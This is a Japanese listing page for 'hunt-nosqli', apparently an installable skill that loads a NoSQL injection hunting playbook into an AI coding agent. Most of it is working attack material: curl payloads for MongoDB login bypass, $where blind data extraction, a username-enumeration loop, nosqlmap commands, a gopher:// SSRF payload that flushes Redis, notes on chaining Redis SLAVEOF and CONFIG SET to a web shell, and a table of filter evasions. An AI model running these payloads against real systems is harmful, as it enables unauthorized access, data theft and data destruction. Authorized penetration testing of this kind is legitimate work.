hunt-nosqli について
hunt-nosqliは、NoSQLインジェクションを検出・検証するセキュリティテスト用スキルです。認証バイパス、データ抽出、ブラインドインジェクションの手法を扱い、Web APIやデータベースアプリを調査する研究者向けです。
主な機能
- 01MongoDB演算子インジェクションのテスト
- 02ブラインドJavaScriptインジェクションの確認
- 03URLパラメーターとJSONペイロードのテスト
- 04SSRF経由のRedis攻撃チェーン確認
- 05検証基準と深刻度の指針
活用シーン
- 01JSONログインエンドポイントの認証バイパステスト
- 02検索・フィルターパラメーターの評価
- 03未許可データ抽出の検証
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-nosqliインストール後、Claude Code で/hunt-nosqliを入力して読み込まれたか確認します。
詳細
HUNT-NOSQLI — NoSQL インジェクション
重要標的
NoSQL インジェクションが最も価値を発揮するのは、認証を回避する場合(重大)、またはユーザーコレクション全体を漏えいさせる場合(高)です。
最も価値の高い攻撃チェーン:
- MongoDB の認証回避 —
{"username": {"$gt": ""}, "password": {"$gt": ""}}を使うと、コレクション内の最初のユーザー(通常は管理者)としてログインできます - $where による JS インジェクション — $where が有効な場合:ブラインドインジェクション → データの持ち出し
- Redis コマンドインジェクション — SSRF または直接 TCP 経由で、SLAVEOF attacker-ip → 設定の書き換え → Web シェル
- Elasticsearch インジェクション — _search エンドポイントへの Groovy スクリプトインジェクション(5.0 より前)→ RCE
攻撃対象領域の兆候
URL とパラメーターのパターン
/api/users/login POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password
スタックの兆候
| 兆候 | ベクター |
|---|---|
| レスポンスに MongoDB のエラーメッセージが含まれる | 演算子インジェクション |
| JS バンドルに mongoose / monk が含まれる | ODM のパターン |
| X-Powered-By: Express | Node.js + MongoDB でよくあるスタック |
| CouchDB/_utils UI が公開されている | Futon/Fauxton 管理画面 |
| Redis ポート 6379 が開いている(SSRF 経由) | CONFIG SET / SLAVEOF |
| Elasticsearch :9200 が開いている | スクリプトインジェクション |
ステップごとのハンティング手法
フェーズ 1 — 認証回避(MongoDB)
# Operator injection in JSON body
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# Regex wildcard — match any username
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'
# ne (not equal) bypass
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": "wrong"}}'
# in array bypass
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'
フェーズ 2 — URL パラメーターインジェクション
# Array notation (Express/PHP-style)
curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"
# POST form data
curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/login" \
--data "username[$gt]=&password[$gt]="
フェーズ 3 — $where ブラインドインジェクション(時間ベース)
# Test if $where is enabled (time-based detection, 5s delay)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed
# Blind data exfil (username starts with 'a'?)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'
フェーズ 4 — 正規表現によるデータダンプ
# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
RESP=$(curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/users \
-H "Content-Type: application/json" \
-d "{\"username\": {\"\$regex\": \"^$c\"}}")
echo "$c: $(echo $RESP | wc -c)"
done
フェーズ 5 — 自動化
# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1
# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2
フェーズ 6 — SSRF 経由の Redis
# If SSRF found, probe internal Redis via gopher://
curl --max-time 30 --connect-timeout 10 "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"
# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil
回避テーブル
| 防御 | 回避方法 |
|---|---|
| JSON.parse がオブジェクトを拒否する | 配列を使う:password[$ne]=x(URL パラメーター) |
$ をサニタイズする | Unicode を使う:$gt |
| 演算子キーをブロックする | 構造内のより深い階層にあるネストされたオブジェクトを使う |
攻撃チェーンテーブル
| NoSQLi の発見事項 | 次につなげる対象 | 影響 |
|---|---|---|
| 認証回避 | 管理画面へのアクセス | 管理者権限の完全な掌握 |
| 正規表現によるユーザー列挙 | クレデンシャルスタッフィング | 大規模な ATO |
| $where が有効 | DB プロセス内での任意の JS 実行 | データの持ち出しまたは DoS |
| SSRF 経由の Redis | CONFIG SET / SLAVEOF | Web シェルまたはデータの持ち出し |
検証
✅ 認証回避:有効な認証情報なしでログインし、有効なセッショントークンを受け取った ✅ データダンプ:アクセス権のないユーザー/ドキュメントが返された ✅ ブラインドインジェクション:時間遅延(4 秒超が一貫して発生)によって確認した
深刻度:
- 管理者としての認証回避:重大
- ユーザーコレクションのダンプ:高
- ブラインドインジェクション(有用なデータ持ち出しなし):中
検証
このセルフテストを実行して、nosqli のハンティング準備が整っていることを確認します。
-
スキルの整合性 — スキルファイルが読み取り可能で、正しい形式であることを確認します:
grep -q "name: hunt-nosqli" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリが設定されていることを確認します:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つのテストすべてに合格すれば、スキルが適切に構成され、利用できる状態であることを確認できます。
落とし穴
- データ持ち出しを伴わない NoSQL インジェクション — true/false を返すブラインド NoSQLi は、悪用がより困難です。データの抽出または認証回避が必要です。
- 列挙の証拠を伴わない $regex インジェクション —
$regexがインジェクション可能な場合は、時間ベースまたはブール値ベースのデータ抽出を実証してください。 - MongoDB の $where インジェクション —
$whereは JavaScript を評価します。これは最も影響の大きい NoSQL インジェクションの種類です。 - 演算子インジェクションと値インジェクションの違い — 値フィールドへの
{"$gt":""}の挿入と、クエリ構造への演算子の挿入は、異なる攻撃手法です。
関連スキル
hunt-sqli— 従来の SQL インジェクションは NoSQL インジェクションを補完します。同じパラメーターで両方をテストしてください。チェーンのプリミティブ:パラメーターが SQL の' OR 1=1--と NoSQL の{$gt:""}の両方を受け入れる場合は、まず SQL をテストし、次に NoSQL 演算子インジェクションをテストします。hunt-auth-bypass— NoSQLi によるログインバイパス({\"$ne\":\"\"})は、データ読み取りではなく認証バイパスのプリミティブです。チェーンのプリミティブ:NoSQLi の$gtバイパス → 管理者パネル → さらなる権限昇格へとチェーンします。hunt-ssrf— SSRF 経由の Redis は、NoSQL インジェクションから RCE へ至る典型的な経路です。チェーンのプリミティブ:SSRF →gopher://redis:6379/_CONFIG SET...→ cron への書き込み → RCE。hunt-rce— MongoDB の$whereによる JavaScript インジェクションは、DB プロセスが JS エンジンにアクセスできる場合、child_processに到達する可能性があります。チェーンのプリミティブ:$whereと sleep(5000) で確認 → JS のthis.password経由でデータを窃取 → 管理者ハッシュをクラック。security-arsenal— NoSQL ペイロードツリーを取得します。$gt、$ne、$regex、$nin、$where、$existsの各演算子、MongoDB の認証バイパス用 JSON、PHP の配列インジェクションparam[$regex]=.*パターンが含まれます。triage-validation— 重大度判定前のゲートを適用します。コレクション内の 最初の ユーザー(通常はテスト用または管理者アカウント)としてのみログインする NoSQL 認証バイパスは重大です。ランダムな ユーザーとしてログインするもので、特定の被害者を狙えない場合は、中程度となる可能性があります。
コメント
Markdown 対応